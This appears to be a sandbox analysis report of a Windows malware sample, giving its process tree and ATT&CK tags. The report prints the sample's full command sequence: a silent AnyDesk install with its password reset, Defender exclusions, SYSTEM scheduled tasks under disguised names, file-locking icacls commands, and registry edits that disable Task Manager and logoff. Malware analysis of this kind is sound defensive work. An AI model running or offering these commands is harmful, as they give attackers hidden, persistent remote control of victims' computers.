PID 2784 wrote to memory of 1116	2784	cmd.exe	49
PID 2784 wrote to memory of 1116	2784	cmd.exe	49
PID 2260 wrote to memory of 2748	2260	wscript.exe	50
PID 2260 wrote to memory of 2748	2260	wscript.exe	50
PID 2260 wrote to memory of 2748	2260	wscript.exe	50
PID 2748 wrote to memory of 2616	2748	locked.exe	136
PID 2748 wrote to memory of 2616	2748	locked.exe	136
PID 2748 wrote to memory of 2616	2748	locked.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 12 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1952	attrib.exe
3040	attrib.exe
2532	attrib.exe
2948	attrib.exe
2324	attrib.exe
2972	attrib.exe
3004	attrib.exe
1216	attrib.exe
1520	attrib.exe
3024	attrib.exe
2080	attrib.exe
2404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Goonscript.exe
"C:\Users\Admin\AppData\Local\Temp\Goonscript.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\system32\wscript.exe
  "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\6C89.tmp\6C8A.tmp\6C8B.vbs //Nologo
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Users\Admin\AppData\Roaming\doorbell-upd5.exe
    "C:\Users\Admin\AppData\Roaming\doorbell-upd5.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2780
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7031.tmp\7032.tmp\7033.bat C:\Users\Admin\AppData\Roaming\doorbell-upd5.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2784
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\programdata\stn.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2936
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\programdata\stn.exe" /reset
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c rm "C:\programdata\stn.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3004
    - - \??\c:\users\Admin\downloads\AnyDesk.exe
        
        "c:/users/Admin/downloads/Anydesk.exe" --install "C:\ProgramData" --silent
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2624
      - \??\c:\users\Admin\downloads\AnyDesk.exe
        
        "c:\users\Admin\downloads\AnyDesk.exe" --local-service
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2744
      - \??\c:\users\Admin\downloads\AnyDesk.exe
        
        "c:\users\Admin\downloads\AnyDesk.exe" --local-control
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1988
    - - C:\ProgramData\AnyDesk.exe
        
        "C:\ProgramData/Anydesk.exe" --remove-password
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        
        PID:2668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo DinaOwnsMe "
        5⤵
        
        PID:2248
    - - C:\ProgramData\AnyDesk.exe
        
        "C:\ProgramData/Anydesk.exe" --set-password
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        
        PID:1072
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/stn.exe" -Destination "C:\ProgramData" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/svchost.exe" -Destination "C:\ProgramData" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/conhost.exe" -Destination "C:\ProgramData" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/Anydesk.exe" -Destination "C:\ProgramData" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/Anydesk.exe" -Destination "C:\ProgramData/microsoft/ksedynA.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/stn.exe" -Destination "C:\ProgramData/microsoft/nts.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/svchost.exe" -Destination "C:\ProgramData/microsoft/tsohcvs.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1216
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c Copy-Item "c:/users/Admin/downloads/conhost.exe" -Destination "C:\ProgramData/microsoft/tsohnoc.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c rm "c:/users/Admin/downloads/stn.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c rm "c:/users/Admin/downloads/svchost.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c rm "c:/users/Admin/downloads/Anydesk.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2952
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c rm "c:/users/Admin/downloads/conhost.exe" -r -force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData/microsoft"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/stn.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/svchost.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/conhost.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/Anydesk.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/microsoft/nts.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/microsoft/tsohcvs.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1528
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/microsoft/tsohnoc.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/microsoft/ksedynA.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /TN SystemTaskNavigator /TR "C:\ProgramData/stn.exe" /RI 0 /RL highest /SC ONLOGON /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3000
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /TN MicrosoftEdgeUpdateTaskList /TR "C:\ProgramData/Anydesk.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2124
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /TN OneDriveTaskReport /TR "C:\ProgramData/svchost.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1552
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /TN MicrosoftUpdateScheduler /TR "C:\ProgramData/conhost.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2648
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /run /tn "MicrosoftEdgeUpdateTaskList"
        5⤵
        
        PID:2800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /run /tn "SystemTaskNavigator"
        5⤵
        
        PID:1612
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/stn.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1216
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:520
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/Anydesk.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1952
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:928
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2072
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/svchost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2404
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1900
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1464
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/conhost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2080
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1168
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/stn.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1520
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2464
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:920
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/Anydesk.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3004
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1656
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1588
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/svchost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2972
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1648
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2756
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/conhost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3024
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:864
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/Anydesk.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2324
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2928
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC))
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2296
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/svchost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3040
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2696
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/conhost.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2948
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2836
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2956
    - - C:\Windows\system32\attrib.exe
        
        attrib +r +s "C:\ProgramData/stn.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2532
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2952
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2616
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://ctt.ac/Y6e79
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2192 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2212
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2192 CREDAT:472074 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2528
- - C:\Program Files\VideoLAN\VLC\vlc.exe
    "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Roaming\enc1.mp3"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:2008
- - C:\Users\Admin\AppData\Roaming\locked.exe
    "C:\Users\Admin\AppData\Roaming\locked.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A45A.tmp\A45B.tmp\A45C.bat C:\Users\Admin\AppData\Roaming\locked.exe"
      4⤵
      Loads dropped DLL
      PID:2616
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:1984
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:3024
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:1772
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:2688
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:2448
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:820
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideHibernate /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2336
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideLock /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:1364
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HidePowerButton /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:360
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2500
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2592
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSwitchAccount /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:1068
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOut /v value /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2892
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HidePowerOptions /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2760
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        
        PID:940
    - - C:\Users\Admin\AppData\Roaming\AutoHotkeyU64.exe
        
        C:\Users\Admin\AppData\Roaming/AutoHotkeyU64.exe C:\Users\Admin\AppData\Roaming/doorbell2.ahk
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3048
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2332
    - - C:\Users\Admin\AppData\Roaming\AutoHotkeyU64.exe
        
        C:\Users\Admin\AppData\Roaming/AutoHotkeyU64.exe C:\Users\Admin\AppData\Roaming/doorbell.ahk
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:2796
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /im autohotkeyu64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Users\Admin\AppData\Roaming\unlock.exe
    "C:\Users\Admin\AppData\Roaming\unlock.exe"
    3⤵
    - Executes dropped EXE
    PID:2064
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9628.tmp\9629.tmp\962A.bat C:\Users\Admin\AppData\Roaming\unlock.exe"
      4⤵
      PID:2832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2644
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry key
        
        PID:1688
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry key
        
        PID:2948
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry key
        
        PID:1744
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry key
        
        PID:2560
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry key
        
        PID:932
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2940
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideHibernate /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2056
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideLock /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2696
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HidePowerButton /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2156
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:340
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:792
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSwitchAccount /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2184
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOut /v value /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3004
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HidePowerOptions /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2608
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2288

C:\ProgramData\AnyDesk.exe
"C:\ProgramData\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2268

C:\ProgramData\AnyDesk.exe
"C:\ProgramData\AnyDesk.exe" --control
1⤵
